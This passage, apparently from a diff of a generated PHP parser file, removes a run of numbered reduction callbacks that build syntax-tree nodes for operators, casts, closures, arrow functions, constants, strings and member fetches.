$self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 440 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 441 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseAnd($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 442 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\BitwiseXor($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 443 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Concat($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 444 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Plus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 445 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Minus($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 446 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Mul($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 447 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Div($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 448 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Mod($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 449 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\ShiftLeft($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 450 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\ShiftRight($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 451 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Pow($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 452 => static function ($self, $stackPos) { - $self->semValue = new Expr\UnaryPlus($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 453 => static function ($self, $stackPos) { - $self->semValue = new Expr\UnaryMinus($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 454 => static function ($self, $stackPos) { - $self->semValue = new Expr\BooleanNot($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 455 => static function ($self, $stackPos) { - $self->semValue = new Expr\BitwiseNot($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 456 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Identical($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 457 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\NotIdentical($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 458 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Equal($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 459 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\NotEqual($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 460 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Spaceship($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 461 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Smaller($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 462 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\SmallerOrEqual($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 463 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Greater($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 464 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\GreaterOrEqual($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 465 => static function ($self, $stackPos) { - $self->semValue = new Expr\Instanceof_($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 466 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 467 => static function ($self, $stackPos) { - $self->semValue = new Expr\Ternary($self->semStack[$stackPos-(5-1)], $self->semStack[$stackPos-(5-3)], $self->semStack[$stackPos-(5-5)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 468 => static function ($self, $stackPos) { - $self->semValue = new Expr\Ternary($self->semStack[$stackPos-(4-1)], null, $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 469 => static function ($self, $stackPos) { - $self->semValue = new Expr\BinaryOp\Coalesce($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 470 => static function ($self, $stackPos) { - $self->semValue = new Expr\Isset_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 471 => static function ($self, $stackPos) { - $self->semValue = new Expr\Empty_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 472 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 473 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_INCLUDE_ONCE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 474 => static function ($self, $stackPos) { - $self->semValue = new Expr\Eval_($self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 475 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 476 => static function ($self, $stackPos) { - $self->semValue = new Expr\Include_($self->semStack[$stackPos-(2-2)], Expr\Include_::TYPE_REQUIRE_ONCE, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 477 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Int_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 478 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos]); - $attrs['kind'] = $self->getFloatCastKind($self->semStack[$stackPos-(2-1)]); - $self->semValue = new Expr\Cast\Double($self->semStack[$stackPos-(2-2)], $attrs); - }, - 479 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\String_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 480 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Array_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 481 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Object_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 482 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Bool_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 483 => static function ($self, $stackPos) { - $self->semValue = new Expr\Cast\Unset_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 484 => static function ($self, $stackPos) { - $self->semValue = $self->createExitExpr($self->semStack[$stackPos-(2-1)], $stackPos-(2-1), $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 485 => static function ($self, $stackPos) { - $self->semValue = new Expr\ErrorSuppress($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 486 => null, - 487 => static function ($self, $stackPos) { - $self->semValue = new Expr\ShellExec($self->semStack[$stackPos-(3-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 488 => static function ($self, $stackPos) { - $self->semValue = new Expr\Print_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 489 => static function ($self, $stackPos) { - $self->semValue = new Expr\Yield_(null, null, $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 490 => static function ($self, $stackPos) { - $self->semValue = new Expr\Yield_($self->semStack[$stackPos-(2-2)], null, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 491 => static function ($self, $stackPos) { - $self->semValue = new Expr\Yield_($self->semStack[$stackPos-(4-4)], $self->semStack[$stackPos-(4-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 492 => static function ($self, $stackPos) { - $self->semValue = new Expr\YieldFrom($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 493 => static function ($self, $stackPos) { - $self->semValue = new Expr\Throw_($self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 494 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => false, 'byRef' => $self->semStack[$stackPos-(8-2)], 'params' => $self->semStack[$stackPos-(8-4)], 'returnType' => $self->semStack[$stackPos-(8-6)], 'expr' => $self->semStack[$stackPos-(8-8)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 495 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => true, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'returnType' => $self->semStack[$stackPos-(9-7)], 'expr' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 496 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => false, 'byRef' => $self->semStack[$stackPos-(8-2)], 'params' => $self->semStack[$stackPos-(8-4)], 'uses' => $self->semStack[$stackPos-(8-6)], 'returnType' => $self->semStack[$stackPos-(8-7)], 'stmts' => $self->semStack[$stackPos-(8-8)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])); - }, - 497 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => true, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'uses' => $self->semStack[$stackPos-(9-7)], 'returnType' => $self->semStack[$stackPos-(9-8)], 'stmts' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => []], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 498 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => false, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'returnType' => $self->semStack[$stackPos-(9-7)], 'expr' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => $self->semStack[$stackPos-(9-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 499 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrowFunction(['static' => true, 'byRef' => $self->semStack[$stackPos-(10-4)], 'params' => $self->semStack[$stackPos-(10-6)], 'returnType' => $self->semStack[$stackPos-(10-8)], 'expr' => $self->semStack[$stackPos-(10-10)], 'attrGroups' => $self->semStack[$stackPos-(10-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - }, - 500 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => false, 'byRef' => $self->semStack[$stackPos-(9-3)], 'params' => $self->semStack[$stackPos-(9-5)], 'uses' => $self->semStack[$stackPos-(9-7)], 'returnType' => $self->semStack[$stackPos-(9-8)], 'stmts' => $self->semStack[$stackPos-(9-9)], 'attrGroups' => $self->semStack[$stackPos-(9-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(9-1)], $self->tokenEndStack[$stackPos])); - }, - 501 => static function ($self, $stackPos) { - $self->semValue = new Expr\Closure(['static' => true, 'byRef' => $self->semStack[$stackPos-(10-4)], 'params' => $self->semStack[$stackPos-(10-6)], 'uses' => $self->semStack[$stackPos-(10-8)], 'returnType' => $self->semStack[$stackPos-(10-9)], 'stmts' => $self->semStack[$stackPos-(10-10)], 'attrGroups' => $self->semStack[$stackPos-(10-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(10-1)], $self->tokenEndStack[$stackPos])); - }, - 502 => static function ($self, $stackPos) { - $self->semValue = array(new Stmt\Class_(null, ['type' => $self->semStack[$stackPos-(8-2)], 'extends' => $self->semStack[$stackPos-(8-4)], 'implements' => $self->semStack[$stackPos-(8-5)], 'stmts' => $self->semStack[$stackPos-(8-7)], 'attrGroups' => $self->semStack[$stackPos-(8-1)]], $self->getAttributes($self->tokenStartStack[$stackPos-(8-1)], $self->tokenEndStack[$stackPos])), $self->semStack[$stackPos-(8-3)]); - $self->checkClass($self->semValue[0], -1); - }, - 503 => static function ($self, $stackPos) { - $self->semValue = new Expr\New_($self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 504 => static function ($self, $stackPos) { - list($class, $ctorArgs) = $self->semStack[$stackPos-(2-2)]; $self->semValue = new Expr\New_($class, $ctorArgs, $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 505 => static function ($self, $stackPos) { - $self->semValue = new Expr\New_($self->semStack[$stackPos-(2-2)], [], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 506 => null, - 507 => null, - 508 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 509 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(4-3)]; - }, - 510 => null, - 511 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); - }, - 512 => static function ($self, $stackPos) { - $self->semStack[$stackPos-(3-1)][] = $self->semStack[$stackPos-(3-3)]; $self->semValue = $self->semStack[$stackPos-(3-1)]; - }, - 513 => static function ($self, $stackPos) { - $self->semValue = new Node\ClosureUse($self->semStack[$stackPos-(2-2)], $self->semStack[$stackPos-(2-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 514 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 515 => static function ($self, $stackPos) { - $self->semValue = new Expr\FuncCall($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 516 => static function ($self, $stackPos) { - $self->semValue = new Expr\FuncCall($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 517 => static function ($self, $stackPos) { - $self->semValue = new Expr\FuncCall($self->semStack[$stackPos-(2-1)], $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos])); - }, - 518 => static function ($self, $stackPos) { - $self->semValue = new Expr\StaticCall($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 519 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 520 => null, - 521 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 522 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 523 => static function ($self, $stackPos) { - $self->semValue = new Name\FullyQualified(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 524 => static function ($self, $stackPos) { - $self->semValue = new Name\Relative(substr($self->semStack[$stackPos-(1-1)], 10), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 525 => null, - 526 => null, - 527 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 528 => static function ($self, $stackPos) { - $self->semValue = new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 529 => null, - 530 => null, - 531 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 532 => static function ($self, $stackPos) { - $self->semValue = array($self->semStack[$stackPos-(1-1)]); foreach ($self->semValue as $s) { if ($s instanceof Node\InterpolatedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '`', $self->phpVersion->supportsUnicodeEscapes()); } }; - }, - 533 => static function ($self, $stackPos) { - foreach ($self->semStack[$stackPos-(1-1)] as $s) { if ($s instanceof Node\InterpolatedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '`', $self->phpVersion->supportsUnicodeEscapes()); } }; $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 534 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 535 => null, - 536 => static function ($self, $stackPos) { - $self->semValue = new Expr\ConstFetch($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 537 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Line($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 538 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\File($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 539 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Dir($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 540 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Class_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 541 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Trait_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 542 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Method($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 543 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Function_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 544 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Namespace_($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 545 => static function ($self, $stackPos) { - $self->semValue = new Scalar\MagicConst\Property($self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 546 => static function ($self, $stackPos) { - $self->semValue = new Expr\ClassConstFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 547 => static function ($self, $stackPos) { - $self->semValue = new Expr\ClassConstFetch($self->semStack[$stackPos-(5-1)], $self->semStack[$stackPos-(5-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(5-1)], $self->tokenEndStack[$stackPos])); - }, - 548 => static function ($self, $stackPos) { - $self->semValue = new Expr\ClassConstFetch($self->semStack[$stackPos-(3-1)], new Expr\Error($self->getAttributes($self->tokenStartStack[$stackPos-(3-3)], $self->tokenEndStack[$stackPos-(3-3)])), $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); $self->errorState = 2; - }, - 549 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]); $attrs['kind'] = Expr\Array_::KIND_SHORT; - $self->semValue = new Expr\Array_($self->semStack[$stackPos-(3-2)], $attrs); - }, - 550 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos]); $attrs['kind'] = Expr\Array_::KIND_LONG; - $self->semValue = new Expr\Array_($self->semStack[$stackPos-(4-3)], $attrs); - $self->createdArrays->attach($self->semValue); - }, - 551 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; $self->createdArrays->attach($self->semValue); - }, - 552 => static function ($self, $stackPos) { - $self->semValue = Scalar\String_::fromString($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]), $self->phpVersion->supportsUnicodeEscapes()); - }, - 553 => static function ($self, $stackPos) { - $attrs = $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]); $attrs['kind'] = Scalar\String_::KIND_DOUBLE_QUOTED; - foreach ($self->semStack[$stackPos-(3-2)] as $s) { if ($s instanceof Node\InterpolatedStringPart) { $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, '"', $self->phpVersion->supportsUnicodeEscapes()); } }; $self->semValue = new Scalar\InterpolatedString($self->semStack[$stackPos-(3-2)], $attrs); - }, - 554 => static function ($self, $stackPos) { - $self->semValue = $self->parseLNumber($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]), $self->phpVersion->allowsInvalidOctals()); - }, - 555 => static function ($self, $stackPos) { - $self->semValue = Scalar\Float_::fromString($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 556 => null, - 557 => null, - 558 => null, - 559 => static function ($self, $stackPos) { - $self->semValue = $self->parseDocString($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]), $self->getAttributes($self->tokenStartStack[$stackPos-(3-3)], $self->tokenEndStack[$stackPos-(3-3)]), true); - }, - 560 => static function ($self, $stackPos) { - $self->semValue = $self->parseDocString($self->semStack[$stackPos-(2-1)], '', $self->semStack[$stackPos-(2-2)], $self->getAttributes($self->tokenStartStack[$stackPos-(2-1)], $self->tokenEndStack[$stackPos]), $self->getAttributes($self->tokenStartStack[$stackPos-(2-2)], $self->tokenEndStack[$stackPos-(2-2)]), true); - }, - 561 => static function ($self, $stackPos) { - $self->semValue = $self->parseDocString($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-2)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos]), $self->getAttributes($self->tokenStartStack[$stackPos-(3-3)], $self->tokenEndStack[$stackPos-(3-3)]), true); - }, - 562 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 563 => null, - 564 => null, - 565 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 566 => null, - 567 => null, - 568 => null, - 569 => null, - 570 => null, - 571 => null, - 572 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(3-2)]; - }, - 573 => null, - 574 => null, - 575 => null, - 576 => static function ($self, $stackPos) { - $self->semValue = new Expr\ArrayDimFetch($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 577 => null, - 578 => static function ($self, $stackPos) { - $self->semValue = new Expr\MethodCall($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 579 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafeMethodCall($self->semStack[$stackPos-(4-1)], $self->semStack[$stackPos-(4-3)], $self->semStack[$stackPos-(4-4)], $self->getAttributes($self->tokenStartStack[$stackPos-(4-1)], $self->tokenEndStack[$stackPos])); - }, - 580 => static function ($self, $stackPos) { - $self->semValue = null; - }, - 581 => null, - 582 => null, - 583 => null, - 584 => static function ($self, $stackPos) { - $self->semValue = new Expr\PropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 585 => static function ($self, $stackPos) { - $self->semValue = new Expr\NullsafePropertyFetch($self->semStack[$stackPos-(3-1)], $self->semStack[$stackPos-(3-3)], $self->getAttributes($self->tokenStartStack[$stackPos-(3-1)], $self->tokenEndStack[$stackPos])); - }, - 586 => null, - 587 => static function ($self, $stackPos) { - 